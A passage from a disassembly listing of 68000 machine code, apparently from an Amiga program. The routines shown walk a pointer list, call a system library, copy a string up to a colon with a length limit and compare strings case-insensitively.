  1682.     SUBQ.L    #3,D0            ;108A: 5780
  1683.     BNE.S    LAB_00D7        ;108C: 663E
  1684. LAB_00D1:
  1685.     MOVEQ    #0,D5            ;108E: 7A00
  1686.     MOVEA.L    12(A5),A3        ;1090: 266D000C
  1687.     BRA.S    LAB_00D4        ;1094: 6010
  1688. LAB_00D2:
  1689.     MOVEA.L    (A3),A0            ;1096: 2053
  1690.     CMPA.L    A2,A0            ;1098: B1CA
  1691.     BNE.S    LAB_00D3        ;109A: 6606
  1692.     LEA    LAB_00AA(PC),A3        ;109C: 47FAFD72
  1693.     BRA.S    LAB_00D7        ;10A0: 602A
  1694. LAB_00D3:
  1695.     ADDQ.L    #1,D5            ;10A2: 5285
  1696.     ADDQ.L    #4,A3            ;10A4: 588B
  1697. LAB_00D4:
  1698.     CMP.L    D6,D5            ;10A6: BA86
  1699.     BLT.S    LAB_00D2        ;10A8: 6DEC
  1700.     CMP.L    D7,D6            ;10AA: BC87
  1701.     BLT.S    LAB_00D5        ;10AC: 6D06
  1702.     LEA    LAB_008D(PC),A3        ;10AE: 47FAFC7A
  1703.     BRA.S    LAB_00D7        ;10B2: 6018
  1704. LAB_00D5:
  1705.     ADDQ.L    #1,D6            ;10B4: 5286
  1706.     MOVEA.L    -52(A5),A0        ;10B6: 206DFFCC
  1707.     MOVE.L    A2,(A0)            ;10BA: 208A
  1708.     MOVEA.L    16(A2),A3        ;10BC: 266A0010
  1709.     LEA    4(A0),A2        ;10C0: 45E80004
  1710. LAB_00D6:
  1711.     MOVE.L    A2,-52(A5)        ;10C4: 2B4AFFCC
  1712.     BRA    LAB_00CF        ;10C8: 6000FF62
  1713. LAB_00D7:
  1714.     MOVEQ    #17,D1            ;10CC: 7211
  1715.     MOVEA.L    -60(A5),A6        ;10CE: 2C6DFFC4
  1716.     JSR    -660(A6)        ;10D2: 4EAEFD6C
  1717.     MOVE.L    A3,D0            ;10D6: 200B
  1718. LAB_00D8:
  1719.     MOVEM.L    (A7)+,D2-D3/D5-D7/A2-A3/A6 ;10D8: 4CDF4CEC
  1720.     UNLK    A5            ;10DC: 4E5D
  1721.     RTS                ;10DE: 4E75
  1722. LAB_00D9:
  1723.     MOVEM.L    D7/A2-A3,-(A7)        ;10E0: 48E70130
  1724.     MOVEA.L    A0,A3            ;10E4: 2648
  1725.     MOVEA.L    A1,A2            ;10E6: 2449
  1726.     MOVEQ    #0,D7            ;10E8: 7E00
  1727.     BRA.S    LAB_00DB        ;10EA: 6002
  1728. LAB_00DA:
  1729.     ADDQ.L    #1,D7            ;10EC: 5287
  1730. LAB_00DB:
  1731.     MOVE.B    0(A2,D7.L),D0        ;10EE: 10327800
  1732.     BEQ.S    LAB_00DC        ;10F2: 6706
  1733.     MOVEQ    #58,D1            ;10F4: 723A
  1734.     CMP.B    D1,D0            ;10F6: B001
  1735.     BNE.S    LAB_00DA        ;10F8: 66F2
  1736. LAB_00DC:
  1737.     TST.B    0(A2,D7.L)        ;10FA: 4A327800
  1738.     BNE.S    LAB_00DD        ;10FE: 6606
  1739.     CLR.B    (A3)            ;1100: 4213
  1740.     MOVEQ    #0,D0            ;1102: 7000
  1741.     BRA.S    LAB_00E1        ;1104: 6022
  1742. LAB_00DD:
  1743.     MOVEQ    #30,D0            ;1106: 701E
  1744.     CMP.L    D0,D7            ;1108: BE80
  1745.     BLT.S    LAB_00DE        ;110A: 6D08
  1746.     LEA    LAB_008D(PC),A0        ;110C: 41FAFC1C
  1747.     MOVE.L    A0,D0            ;1110: 2008
  1748.     BRA.S    LAB_00E1        ;1112: 6014
  1749. LAB_00DE:
  1750.     MOVE.L    D7,D0            ;1114: 2007
  1751.     MOVEA.L    A2,A0            ;1116: 204A
  1752.     MOVEA.L    A3,A1            ;1118: 224B
  1753.     BRA.S    LAB_00E0        ;111A: 6002
  1754. LAB_00DF:
  1755.     MOVE.B    (A0)+,(A1)+        ;111C: 12D8
  1756. LAB_00E0:
  1757.     SUBQ.L    #1,D0            ;111E: 5380
  1758.     BCC.S    LAB_00DF        ;1120: 64FA
  1759.     CLR.B    0(A3,D7.L)        ;1122: 42337800
  1760.     MOVEQ    #0,D0            ;1126: 7000
  1761. LAB_00E1:
  1762.     MOVEM.L    (A7)+,D7/A2-A3        ;1128: 4CDF0C80
  1763.     RTS                ;112C: 4E75
  1764. LAB_00E2:
  1765.     MOVEQ    #0,D0            ;112E: 7000
  1766.     MOVEQ    #0,D1            ;1130: 7200
  1767. LAB_00E3:
  1768.     MOVE.B    (A0)+,D0        ;1132: 1018
  1769.     MOVE.B    (A1)+,D1        ;1134: 1219
  1770.     CMP.B    #$61,D0            ;1136: B03C0061
  1771.     BLT.S    LAB_00E4        ;113A: 6D0A
  1772.     CMP.B    #$7A,D0            ;113C: B03C007A
  1773.     BGT.S    LAB_00E4        ;1140: 6E04
  1774.     SUBI.B    #$20,D0            ;1142: 04000020
  1775. LAB_00E4:
  1776.     CMP.B    #$61,D1            ;1146: B23C0061
  1777.     BLT.S    LAB_00E5        ;114A: 6D0A
  1778.     CMP.B    #$7A,D1            ;114C: B23C007A
  1779.     BGT.S    LAB_00E5        ;1150: 6E04
  1780.     SUBI.B    #$20,D1            ;1152: 04010020
  1781. LAB_00E5:
  1782.     SUB.L    D1,D0            ;1156: 9081
  1783.     BNE.S    LAB_00E6        ;1158: 6604
  1784.     TST.B    D1            ;115A: 4A01
  1785.     BNE.S    LAB_00E3        ;115C: 66D4
  1786. LAB_00E6:
  1787.     RTS                ;115E: 4E75
  1788.     ORI.B    #$00,D0            ;1160: 00000000
  1789.     END
  1790.